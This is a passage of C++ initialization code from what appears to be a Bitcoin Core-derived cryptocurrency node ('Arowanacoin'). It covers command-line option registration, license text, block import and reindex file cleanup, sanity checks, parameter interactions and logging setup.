gArgs.AddArg("-maxsendbuffer=<n>", strprintf("Maximum per-connection send buffer, <n>*1000 bytes (default: %u)", DEFAULT_MAXSENDBUFFER), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-maxtimeadjustment", strprintf("Maximum allowed median peer time offset adjustment. Local perspective of time may be influenced by peers forward or backward by this amount. (default: %u seconds)", DEFAULT_MAX_TIME_ADJUSTMENT), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-maxuploadtarget=<n>", strprintf("Tries to keep outbound traffic under the given target (in MiB per 24h), 0 = no limit (default: %d)", DEFAULT_MAX_UPLOAD_TARGET), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-onion=<ip:port>", "Use separate SOCKS5 proxy to reach peers via Tor hidden services, set -noonion to disable (default: -proxy)", ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-onlynet=<net>", "Make outgoing connections only through network <net> (ipv4, ipv6 or onion). Incoming connections are not affected by this option. This option can be specified multiple times to allow multiple networks.", ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-peerbloomfilters", strprintf("Support filtering of blocks and transaction with bloom filters (default: %u)", DEFAULT_PEERBLOOMFILTERS), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-permitbaremultisig", strprintf("Relay non-P2SH multisig (default: %u)", DEFAULT_PERMIT_BAREMULTISIG), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-port=<port>", strprintf("Listen for connections on <port> (default: %u, testnet: %u, regtest: %u)", defaultChainParams->GetDefaultPort(), testnetChainParams->GetDefaultPort(), regtestChainParams->GetDefaultPort()), ArgsManager::ALLOW_ANY | ArgsManager::NETWORK_ONLY, OptionsCategory::CONNECTION);
gArgs.AddArg("-proxy=<ip:port>", "Connect through SOCKS5 proxy, set -noproxy to disable (default: disabled)", ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-proxyrandomize", strprintf("Randomize credentials for every proxy connection. This enables Tor stream isolation (default: %u)", DEFAULT_PROXYRANDOMIZE), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-seednode=<ip>", "Connect to a node to retrieve peer addresses, and disconnect. This option can be specified multiple times to connect to multiple nodes.", ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-timeout=<n>", strprintf("Specify connection timeout in milliseconds (minimum: 1, default: %d)", DEFAULT_CONNECT_TIMEOUT), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-peertimeout=<n>", strprintf("Specify p2p connection timeout in seconds. This option determines the amount of time a peer may be inactive before the connection to it is dropped. (minimum: 1, default: %d)", DEFAULT_PEER_CONNECT_TIMEOUT), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::CONNECTION);
gArgs.AddArg("-torcontrol=<ip>:<port>", strprintf("Tor control port to use if onion listening enabled (default: %s)", DEFAULT_TOR_CONTROL), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-torpassword=<pass>", "Tor control port password (default: empty)", ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
#ifdef USE_UPNP
#if USE_UPNP
gArgs.AddArg("-upnp", "Use UPnP to map the listening port (default: 1 when listening and no -proxy)", ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
#else
gArgs.AddArg("-upnp", strprintf("Use UPnP to map the listening port (default: %u)", 0), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
#endif
#else
hidden_args.emplace_back("-upnp");
#endif
gArgs.AddArg("-whitebind=<[permissions@]addr>", "Bind to given address and whitelist peers connecting to it. "
"Use [host]:port notation for IPv6. Allowed permissions are bloomfilter (allow requesting BIP37 filtered blocks and transactions), "
"noban (do not ban for misbehavior), "
"forcerelay (relay even non-standard transactions), "
"relay (relay even in -blocksonly mode), "
"and mempool (allow requesting BIP35 mempool contents). "
"Specify multiple permissions separated by commas (default: noban,mempool,relay). Can be specified multiple times.", ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-whitelist=<[permissions@]IP address or network>", "Whitelist peers connecting from the given IP address (e.g. 1.2.3.4) or "
"CIDR notated network(e.g. 1.2.3.0/24). Uses same permissions as "
"-whitebind. Can be specified multiple times." , ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
g_wallet_init_interface.AddWalletOptions();
#if ENABLE_ZMQ
gArgs.AddArg("-zmqpubhashblock=<address>", "Enable publish hash block in <address>", ArgsManager::ALLOW_ANY, OptionsCategory::ZMQ);
gArgs.AddArg("-zmqpubhashtx=<address>", "Enable publish hash transaction in <address>", ArgsManager::ALLOW_ANY, OptionsCategory::ZMQ);
gArgs.AddArg("-zmqpubrawblock=<address>", "Enable publish raw block in <address>", ArgsManager::ALLOW_ANY, OptionsCategory::ZMQ);
gArgs.AddArg("-zmqpubrawtx=<address>", "Enable publish raw transaction in <address>", ArgsManager::ALLOW_ANY, OptionsCategory::ZMQ);
gArgs.AddArg("-zmqpubhashblockhwm=<n>", strprintf("Set publish hash block outbound message high water mark (default: %d)", CZMQAbstractNotifier::DEFAULT_ZMQ_SNDHWM), ArgsManager::ALLOW_ANY, OptionsCategory::ZMQ);
gArgs.AddArg("-zmqpubhashtxhwm=<n>", strprintf("Set publish hash transaction outbound message high water mark (default: %d)", CZMQAbstractNotifier::DEFAULT_ZMQ_SNDHWM), ArgsManager::ALLOW_ANY, OptionsCategory::ZMQ);
gArgs.AddArg("-zmqpubrawblockhwm=<n>", strprintf("Set publish raw block outbound message high water mark (default: %d)", CZMQAbstractNotifier::DEFAULT_ZMQ_SNDHWM), ArgsManager::ALLOW_ANY, OptionsCategory::ZMQ);
gArgs.AddArg("-zmqpubrawtxhwm=<n>", strprintf("Set publish raw transaction outbound message high water mark (default: %d)", CZMQAbstractNotifier::DEFAULT_ZMQ_SNDHWM), ArgsManager::ALLOW_ANY, OptionsCategory::ZMQ);
#else
hidden_args.emplace_back("-zmqpubhashblock=<address>");
hidden_args.emplace_back("-zmqpubhashtx=<address>");
hidden_args.emplace_back("-zmqpubrawblock=<address>");
hidden_args.emplace_back("-zmqpubrawtx=<address>");
hidden_args.emplace_back("-zmqpubhashblockhwm=<n>");
hidden_args.emplace_back("-zmqpubhashtxhwm=<n>");
hidden_args.emplace_back("-zmqpubrawblockhwm=<n>");
hidden_args.emplace_back("-zmqpubrawtxhwm=<n>");
#endif
gArgs.AddArg("-checkblocks=<n>", strprintf("How many blocks to check at startup (default: %u, 0 = all)", DEFAULT_CHECKBLOCKS), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-checklevel=<n>", strprintf("How thorough the block verification of -checkblocks is: "
"level 0 reads the blocks from disk, "
"level 1 verifies block validity, "
"level 2 verifies undo data, "
"level 3 checks disconnection of tip blocks, "
"and level 4 tries to reconnect the blocks, "
"each level includes the checks of the previous levels "
"(0-4, default: %u)", DEFAULT_CHECKLEVEL), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-checkblockindex", strprintf("Do a consistency check for the block tree, chainstate, and other validation data structures occasionally. (default: %u, regtest: %u)", defaultChainParams->DefaultConsistencyChecks(), regtestChainParams->DefaultConsistencyChecks()), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-checkmempool=<n>", strprintf("Run checks every <n> transactions (default: %u, regtest: %u)", defaultChainParams->DefaultConsistencyChecks(), regtestChainParams->DefaultConsistencyChecks()), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-checkpoints", strprintf("Disable expensive verification for known chain history (default: %u)", DEFAULT_CHECKPOINTS_ENABLED), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-deprecatedrpc=<method>", "Allows deprecated RPC method(s) to be used", ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-dropmessagestest=<n>", "Randomly drop 1 of every <n> network messages", ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-stopafterblockimport", strprintf("Stop running after importing blocks from disk (default: %u)", DEFAULT_STOPAFTERBLOCKIMPORT), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-stopatheight", strprintf("Stop running after reaching the given height in the main chain (default: %u)", DEFAULT_STOPATHEIGHT), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-limitancestorcount=<n>", strprintf("Do not accept transactions if number of in-mempool ancestors is <n> or more (default: %u)", DEFAULT_ANCESTOR_LIMIT), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-limitancestorsize=<n>", strprintf("Do not accept transactions whose size with all in-mempool ancestors exceeds <n> kilobytes (default: %u)", DEFAULT_ANCESTOR_SIZE_LIMIT), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-limitdescendantcount=<n>", strprintf("Do not accept transactions if any ancestor would have <n> or more in-mempool descendants (default: %u)", DEFAULT_DESCENDANT_LIMIT), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-limitdescendantsize=<n>", strprintf("Do not accept transactions if any ancestor would have more than <n> kilobytes of in-mempool descendants (default: %u).", DEFAULT_DESCENDANT_SIZE_LIMIT), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-addrmantest", "Allows to test address relay on localhost", ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-debug=<category>", "Output debugging information (default: -nodebug, supplying <category> is optional). "
"If <category> is not supplied or if <category> = 1, output all debugging information. <category> can be: " + ListLogCategories() + ".", ArgsManager::ALLOW_ANY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-debugexclude=<category>", strprintf("Exclude debugging information for a category. Can be used in conjunction with -debug=1 to output debug logs for all categories except one or more specified categories."), ArgsManager::ALLOW_ANY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-logips", strprintf("Include IP addresses in debug output (default: %u)", DEFAULT_LOGIPS), ArgsManager::ALLOW_ANY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-logtimestamps", strprintf("Prepend debug output with timestamp (default: %u)", DEFAULT_LOGTIMESTAMPS), ArgsManager::ALLOW_ANY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-logthreadnames", strprintf("Prepend debug output with name of the originating thread (only available on platforms supporting thread_local) (default: %u)", DEFAULT_LOGTHREADNAMES), ArgsManager::ALLOW_ANY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-logtimemicros", strprintf("Add microsecond precision to debug timestamps (default: %u)", DEFAULT_LOGTIMEMICROS), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-mocktime=<n>", "Replace actual time with <n> seconds since epoch (default: 0)", ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-maxsigcachesize=<n>", strprintf("Limit sum of signature cache and script execution cache sizes to <n> MiB (default: %u)", DEFAULT_MAX_SIG_CACHE_SIZE), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-maxtipage=<n>", strprintf("Maximum tip age in seconds to consider node in initial block download (default: %u)", DEFAULT_MAX_TIP_AGE), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-printpriority", strprintf("Log transaction fee per kB when mining blocks (default: %u)", DEFAULT_PRINTPRIORITY), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-printtoconsole", "Send trace/debug info to console (default: 1 when no -daemon. To disable logging to file, set -nodebuglogfile)", ArgsManager::ALLOW_ANY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-shrinkdebugfile", "Shrink debug.log file on client startup (default: 1 when no -debug)", ArgsManager::ALLOW_ANY, OptionsCategory::DEBUG_TEST);
gArgs.AddArg("-uacomment=<cmt>", "Append comment to the user agent string", ArgsManager::ALLOW_ANY, OptionsCategory::DEBUG_TEST);
SetupChainParamsBaseOptions();
gArgs.AddArg("-acceptnonstdtxn", strprintf("Relay and mine \"non-standard\" transactions (%sdefault: %u)", "testnet/regtest only; ", !testnetChainParams->RequireStandard()), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::NODE_RELAY);
gArgs.AddArg("-incrementalrelayfee=<amt>", strprintf("Fee rate (in %s/kB) used to define cost of relay, used for mempool limiting and BIP 125 replacement. (default: %s)", CURRENCY_UNIT, FormatMoney(DEFAULT_INCREMENTAL_RELAY_FEE)), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::NODE_RELAY);
gArgs.AddArg("-dustrelayfee=<amt>", strprintf("Fee rate (in %s/kB) used to define dust, the value of an output such that it will cost more than its value in fees at this fee rate to spend it. (default: %s)", CURRENCY_UNIT, FormatMoney(DUST_RELAY_TX_FEE)), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::NODE_RELAY);
gArgs.AddArg("-bytespersigop", strprintf("Equivalent bytes per sigop in transactions for relay and mining (default: %u)", DEFAULT_BYTES_PER_SIGOP), ArgsManager::ALLOW_ANY, OptionsCategory::NODE_RELAY);
gArgs.AddArg("-datacarrier", strprintf("Relay and mine data carrier transactions (default: %u)", DEFAULT_ACCEPT_DATACARRIER), ArgsManager::ALLOW_ANY, OptionsCategory::NODE_RELAY);
gArgs.AddArg("-datacarriersize", strprintf("Maximum size of data in data carrier transactions we relay and mine (default: %u)", MAX_OP_RETURN_RELAY), ArgsManager::ALLOW_ANY, OptionsCategory::NODE_RELAY);
gArgs.AddArg("-minrelaytxfee=<amt>", strprintf("Fees (in %s/kB) smaller than this are considered zero fee for relaying, mining and transaction creation (default: %s)",
CURRENCY_UNIT, FormatMoney(DEFAULT_MIN_RELAY_TX_FEE)), ArgsManager::ALLOW_ANY, OptionsCategory::NODE_RELAY);
gArgs.AddArg("-whitelistforcerelay", strprintf("Add 'forcerelay' permission to whitelisted inbound peers with default permissions. This will relay transactions even if the transactions were already in the mempool or violate local relay policy. (default: %d)", DEFAULT_WHITELISTFORCERELAY), ArgsManager::ALLOW_ANY, OptionsCategory::NODE_RELAY);
gArgs.AddArg("-whitelistrelay", strprintf("Add 'relay' permission to whitelisted inbound peers with default permissions. The will accept relayed transactions even when not relaying transactions (default: %d)", DEFAULT_WHITELISTRELAY), ArgsManager::ALLOW_ANY, OptionsCategory::NODE_RELAY);
gArgs.AddArg("-blockmaxweight=<n>", strprintf("Set maximum BIP141 block weight (default: %d)", DEFAULT_BLOCK_MAX_WEIGHT), ArgsManager::ALLOW_ANY, OptionsCategory::BLOCK_CREATION);
gArgs.AddArg("-blockmintxfee=<amt>", strprintf("Set lowest fee rate (in %s/kB) for transactions to be included in block creation. (default: %s)", CURRENCY_UNIT, FormatMoney(DEFAULT_BLOCK_MIN_TX_FEE)), ArgsManager::ALLOW_ANY, OptionsCategory::BLOCK_CREATION);
gArgs.AddArg("-blockversion=<n>", "Override block version to test forking scenarios", ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::BLOCK_CREATION);
gArgs.AddArg("-rest", strprintf("Accept public REST requests (default: %u)", DEFAULT_REST_ENABLE), ArgsManager::ALLOW_ANY, OptionsCategory::RPC);
gArgs.AddArg("-rpcallowip=<ip>", "Allow JSON-RPC connections from specified source. Valid for <ip> are a single IP (e.g. 1.2.3.4), a network/netmask (e.g. 1.2.3.4/255.255.255.0) or a network/CIDR (e.g. 1.2.3.4/24). This option can be specified multiple times", ArgsManager::ALLOW_ANY, OptionsCategory::RPC);
gArgs.AddArg("-rpcauth=<userpw>", "Username and HMAC-SHA-256 hashed password for JSON-RPC connections. The field <userpw> comes in the format: <USERNAME>:<SALT>$<HASH>. A canonical python script is included in share/rpcauth. The client then connects normally using the rpcuser=<USERNAME>/rpcpassword=<PASSWORD> pair of arguments. This option can be specified multiple times", ArgsManager::ALLOW_ANY, OptionsCategory::RPC);
gArgs.AddArg("-rpcbind=<addr>[:port]", "Bind to given address to listen for JSON-RPC connections. Do not expose the RPC server to untrusted networks such as the public internet! This option is ignored unless -rpcallowip is also passed. Port is optional and overrides -rpcport. Use [host]:port notation for IPv6. This option can be specified multiple times (default: 127.0.0.1 and ::1 i.e., localhost)", ArgsManager::ALLOW_ANY | ArgsManager::NETWORK_ONLY, OptionsCategory::RPC);
gArgs.AddArg("-rpccookiefile=<loc>", "Location of the auth cookie. Relative paths will be prefixed by a net-specific datadir location. (default: data dir)", ArgsManager::ALLOW_ANY, OptionsCategory::RPC);
gArgs.AddArg("-rpcpassword=<pw>", "Password for JSON-RPC connections", ArgsManager::ALLOW_ANY, OptionsCategory::RPC);
gArgs.AddArg("-rpcport=<port>", strprintf("Listen for JSON-RPC connections on <port> (default: %u, testnet: %u, regtest: %u)", defaultBaseParams->RPCPort(), testnetBaseParams->RPCPort(), regtestBaseParams->RPCPort()), ArgsManager::ALLOW_ANY | ArgsManager::NETWORK_ONLY, OptionsCategory::RPC);
gArgs.AddArg("-rpcserialversion", strprintf("Sets the serialization of raw transaction or block hex returned in non-verbose mode, non-segwit(0) or segwit(1) (default: %d)", DEFAULT_RPC_SERIALIZE_VERSION), ArgsManager::ALLOW_ANY, OptionsCategory::RPC);
gArgs.AddArg("-rpcservertimeout=<n>", strprintf("Timeout during HTTP requests (default: %d)", DEFAULT_HTTP_SERVER_TIMEOUT), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::RPC);
gArgs.AddArg("-rpcthreads=<n>", strprintf("Set the number of threads to service RPC calls (default: %d)", DEFAULT_HTTP_THREADS), ArgsManager::ALLOW_ANY, OptionsCategory::RPC);
gArgs.AddArg("-rpcuser=<user>", "Username for JSON-RPC connections", ArgsManager::ALLOW_ANY, OptionsCategory::RPC);
gArgs.AddArg("-rpcworkqueue=<n>", strprintf("Set the depth of the work queue to service RPC calls (default: %d)", DEFAULT_HTTP_WORKQUEUE), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::RPC);
gArgs.AddArg("-server", "Accept command line and JSON-RPC commands", ArgsManager::ALLOW_ANY, OptionsCategory::RPC);
#if HAVE_DECL_DAEMON
gArgs.AddArg("-daemon", "Run in the background as a daemon and accept commands", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
#else
hidden_args.emplace_back("-daemon");
#endif
// Add the hidden options
gArgs.AddHiddenArgs(hidden_args);
}
std::string LicenseInfo()
{
const std::string URL_SOURCE_CODE = "<https://github.com/bitcoin/bitcoin>";
const std::string URL_WEBSITE = "<https://bitcoincore.org>";
return CopyrightHolders(strprintf(_("Copyright (C) %i-%i").translated, 2009, COPYRIGHT_YEAR) + " ") + "\n" +
"\n" +
strprintf(_("Please contribute if you find %s useful. "
"Visit %s for further information about the software.").translated,
PACKAGE_NAME, URL_WEBSITE) +
"\n" +
strprintf(_("The source code is available from %s.").translated,
URL_SOURCE_CODE) +
"\n" +
"\n" +
_("This is experimental software.").translated + "\n" +
strprintf(_("Distributed under the MIT software license, see the accompanying file %s or %s").translated, "COPYING", "<https://opensource.org/licenses/MIT>") + "\n" +
"\n" +
strprintf(_("This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit %s and cryptographic software written by Eric Young and UPnP software written by Thomas Bernard.").translated, "<https://www.openssl.org>") +
"\n";
}
#if HAVE_SYSTEM
static void BlockNotifyCallback(bool initialSync, const CBlockIndex *pBlockIndex)
{
if (initialSync || !pBlockIndex)
return;
std::string strCmd = gArgs.GetArg("-blocknotify", "");
if (!strCmd.empty()) {
boost::replace_all(strCmd, "%s", pBlockIndex->GetBlockHash().GetHex());
std::thread t(runCommand, strCmd);
t.detach(); // thread runs free
}
}
#endif
static bool fHaveGenesis = false;
static Mutex g_genesis_wait_mutex;
static std::condition_variable g_genesis_wait_cv;
static void BlockNotifyGenesisWait(bool, const CBlockIndex *pBlockIndex)
{
if (pBlockIndex != nullptr) {
{
LOCK(g_genesis_wait_mutex);
fHaveGenesis = true;
}
g_genesis_wait_cv.notify_all();
}
}
struct CImportingNow
{
CImportingNow() {
assert(fImporting == false);
fImporting = true;
}
~CImportingNow() {
assert(fImporting == true);
fImporting = false;
}
};
// If we're using -prune with -reindex, then delete block files that will be ignored by the
// reindex. Since reindexing works by starting at block file 0 and looping until a blockfile
// is missing, do the same here to delete any later block files after a gap. Also delete all
// rev files since they'll be rewritten by the reindex anyway. This ensures that vinfoBlockFile
// is in sync with what's actually on disk by the time we start downloading, so that pruning
// works correctly.
static void CleanupBlockRevFiles()
{
std::map<std::string, fs::path> mapBlockFiles;
// Glob all blk?????.dat and rev?????.dat files from the blocks directory.
// Remove the rev files immediately and insert the blk file paths into an
// ordered map keyed by block file index.
LogPrintf("Removing unusable blk?????.dat and rev?????.dat files for -reindex with -prune\n");
fs::path blocksdir = GetBlocksDir();
for (fs::directory_iterator it(blocksdir); it != fs::directory_iterator(); it++) {
if (fs::is_regular_file(*it) &&
it->path().filename().string().length() == 12 &&
it->path().filename().string().substr(8,4) == ".dat")
{
if (it->path().filename().string().substr(0,3) == "blk")
mapBlockFiles[it->path().filename().string().substr(3,5)] = it->path();
else if (it->path().filename().string().substr(0,3) == "rev")
remove(it->path());
}
}
// Remove all block files that aren't part of a contiguous set starting at
// zero by walking the ordered map (keys are block file indices) by
// keeping a separate counter. Once we hit a gap (or if 0 doesn't exist)
// start removing block files.
int nContigCounter = 0;
for (const std::pair<const std::string, fs::path>& item : mapBlockFiles) {
if (atoi(item.first) == nContigCounter) {
nContigCounter++;
continue;
}
remove(item.second);
}
}
static void ThreadImport(std::vector<fs::path> vImportFiles)
{
const CChainParams& chainparams = Params();
util::ThreadRename("loadblk");
ScheduleBatchPriority();
{
CImportingNow imp;
// -reindex
if (fReindex) {
int nFile = 0;
while (true) {
FlatFilePos pos(nFile, 0);
if (!fs::exists(GetBlockPosFilename(pos)))
break; // No block files left to reindex
FILE *file = OpenBlockFile(pos, true);
if (!file)
break; // This error is logged in OpenBlockFile
LogPrintf("Reindexing block file blk%05u.dat...\n", (unsigned int)nFile);
LoadExternalBlockFile(chainparams, file, &pos);
nFile++;
}
pblocktree->WriteReindexing(false);
fReindex = false;
LogPrintf("Reindexing finished\n");
// To avoid ending up in a situation without genesis block, re-try initializing (no-op if reindexing worked):
LoadGenesisBlock(chainparams);
}
// hardcoded $DATADIR/bootstrap.dat
fs::path pathBootstrap = GetDataDir() / "bootstrap.dat";
if (fs::exists(pathBootstrap)) {
FILE *file = fsbridge::fopen(pathBootstrap, "rb");
if (file) {
fs::path pathBootstrapOld = GetDataDir() / "bootstrap.dat.old";
LogPrintf("Importing bootstrap.dat...\n");
LoadExternalBlockFile(chainparams, file);
RenameOver(pathBootstrap, pathBootstrapOld);
} else {
LogPrintf("Warning: Could not open bootstrap file %s\n", pathBootstrap.string());
}
}
// -loadblock=
for (const fs::path& path : vImportFiles) {
FILE *file = fsbridge::fopen(path, "rb");
if (file) {
LogPrintf("Importing blocks file %s...\n", path.string());
LoadExternalBlockFile(chainparams, file);
} else {
LogPrintf("Warning: Could not open blocks file %s\n", path.string());
}
}
// scan for better chains in the block chain database, that are not yet connected in the active best chain
CValidationState state;
if (!ActivateBestChain(state, chainparams)) {
LogPrintf("Failed to connect best block (%s)\n", FormatStateMessage(state));
StartShutdown();
return;
}
if (gArgs.GetBoolArg("-stopafterblockimport", DEFAULT_STOPAFTERBLOCKIMPORT)) {
LogPrintf("Stopping after block import\n");
StartShutdown();
return;
}
} // End scope of CImportingNow
if (gArgs.GetArg("-persistmempool", DEFAULT_PERSIST_MEMPOOL)) {
LoadMempool(::mempool);
}
::mempool.SetIsLoaded(!ShutdownRequested());
}
/** Sanity checks
* Ensure that Arowanacoin is running in a usable environment with all
* necessary library support.
*/
static bool InitSanityCheck()
{
if(!ECC_InitSanityCheck()) {
InitError("Elliptic curve cryptography sanity check failure. Aborting.");
return false;
}
if (!glibc_sanity_test() || !glibcxx_sanity_test())
return false;
if (!Random_SanityCheck()) {
InitError("OS cryptographic RNG sanity check failure. Aborting.");
return false;
}
return true;
}
static bool AppInitServers()
{
RPCServer::OnStarted(&OnRPCStarted);
RPCServer::OnStopped(&OnRPCStopped);
if (!InitHTTPServer())
return false;
StartRPC();
if (!StartHTTPRPC())
return false;
if (gArgs.GetBoolArg("-rest", DEFAULT_REST_ENABLE)) StartREST();
StartHTTPServer();
return true;
}
// Parameter interaction based on rules
void InitParameterInteraction()
{
// when specifying an explicit binding address, you want to listen on it
// even when -connect or -proxy is specified
if (gArgs.IsArgSet("-bind")) {
if (gArgs.SoftSetBoolArg("-listen", true))
LogPrintf("%s: parameter interaction: -bind set -> setting -listen=1\n", __func__);
}
if (gArgs.IsArgSet("-whitebind")) {
if (gArgs.SoftSetBoolArg("-listen", true))
LogPrintf("%s: parameter interaction: -whitebind set -> setting -listen=1\n", __func__);
}
if (gArgs.IsArgSet("-connect")) {
// when only connecting to trusted nodes, do not seed via DNS, or listen by default
if (gArgs.SoftSetBoolArg("-dnsseed", false))
LogPrintf("%s: parameter interaction: -connect set -> setting -dnsseed=0\n", __func__);
if (gArgs.SoftSetBoolArg("-listen", false))
LogPrintf("%s: parameter interaction: -connect set -> setting -listen=0\n", __func__);
}
if (gArgs.IsArgSet("-proxy")) {
// to protect privacy, do not listen by default if a default proxy server is specified
if (gArgs.SoftSetBoolArg("-listen", false))
LogPrintf("%s: parameter interaction: -proxy set -> setting -listen=0\n", __func__);
// to protect privacy, do not use UPNP when a proxy is set. The user may still specify -listen=1
// to listen locally, so don't rely on this happening through -listen below.
if (gArgs.SoftSetBoolArg("-upnp", false))
LogPrintf("%s: parameter interaction: -proxy set -> setting -upnp=0\n", __func__);
// to protect privacy, do not discover addresses by default
if (gArgs.SoftSetBoolArg("-discover", false))
LogPrintf("%s: parameter interaction: -proxy set -> setting -discover=0\n", __func__);
}
if (!gArgs.GetBoolArg("-listen", DEFAULT_LISTEN)) {
// do not map ports or try to retrieve public IP when not listening (pointless)
if (gArgs.SoftSetBoolArg("-upnp", false))
LogPrintf("%s: parameter interaction: -listen=0 -> setting -upnp=0\n", __func__);
if (gArgs.SoftSetBoolArg("-discover", false))
LogPrintf("%s: parameter interaction: -listen=0 -> setting -discover=0\n", __func__);
if (gArgs.SoftSetBoolArg("-listenonion", false))
LogPrintf("%s: parameter interaction: -listen=0 -> setting -listenonion=0\n", __func__);
}
if (gArgs.IsArgSet("-externalip")) {
// if an explicit public IP is specified, do not try to find others
if (gArgs.SoftSetBoolArg("-discover", false))
LogPrintf("%s: parameter interaction: -externalip set -> setting -discover=0\n", __func__);
}
// disable whitelistrelay in blocksonly mode
if (gArgs.GetBoolArg("-blocksonly", DEFAULT_BLOCKSONLY)) {
if (gArgs.SoftSetBoolArg("-whitelistrelay", false))
LogPrintf("%s: parameter interaction: -blocksonly=1 -> setting -whitelistrelay=0\n", __func__);
}
// Forcing relay from whitelisted hosts implies we will accept relays from them in the first place.
if (gArgs.GetBoolArg("-whitelistforcerelay", DEFAULT_WHITELISTFORCERELAY)) {
if (gArgs.SoftSetBoolArg("-whitelistrelay", true))
LogPrintf("%s: parameter interaction: -whitelistforcerelay=1 -> setting -whitelistrelay=1\n", __func__);
}
}
/**
* Initialize global loggers.
*
* Note that this is called very early in the process lifetime, so you should be
* careful about what global state you rely on here.
*/
void InitLogging()
{
LogInstance().m_print_to_file = !gArgs.IsArgNegated("-debuglogfile");
LogInstance().m_file_path = AbsPathForConfigVal(gArgs.GetArg("-debuglogfile", DEFAULT_DEBUGLOGFILE));
LogInstance().m_print_to_console = gArgs.GetBoolArg("-printtoconsole", !gArgs.GetBoolArg("-daemon", false));
LogInstance().m_log_timestamps = gArgs.GetBoolArg("-logtimestamps", DEFAULT_LOGTIMESTAMPS);
LogInstance().m_log_time_micros = gArgs.GetBoolArg("-logtimemicros", DEFAULT_LOGTIMEMICROS);
LogInstance().m_log_threadnames = gArgs.GetBoolArg("-logthreadnames", DEFAULT_LOGTHREADNAMES);
fLogIPs = gArgs.GetBoolArg("-logips", DEFAULT_LOGIPS);
std::string version_string = FormatFullVersion();
#ifdef DEBUG
version_string += " (debug build)";
#else
version_string += " (release build)";
#endif
LogPrintf(PACKAGE_NAME " version %s\n", version_string);
}
namespace { // Variables internal to initialization process only
int nMaxConnections;
int nUserMaxConnections;
int nFD;
ServiceFlags nLocalServices = ServiceFlags(NODE_NETWORK | NODE_NETWORK_LIMITED);
int64_t peer_connect_timeout;
std::set<BlockFilterType> g_enabled_filter_types;
} // namespace
[[noreturn]] static void new_handler_terminate()
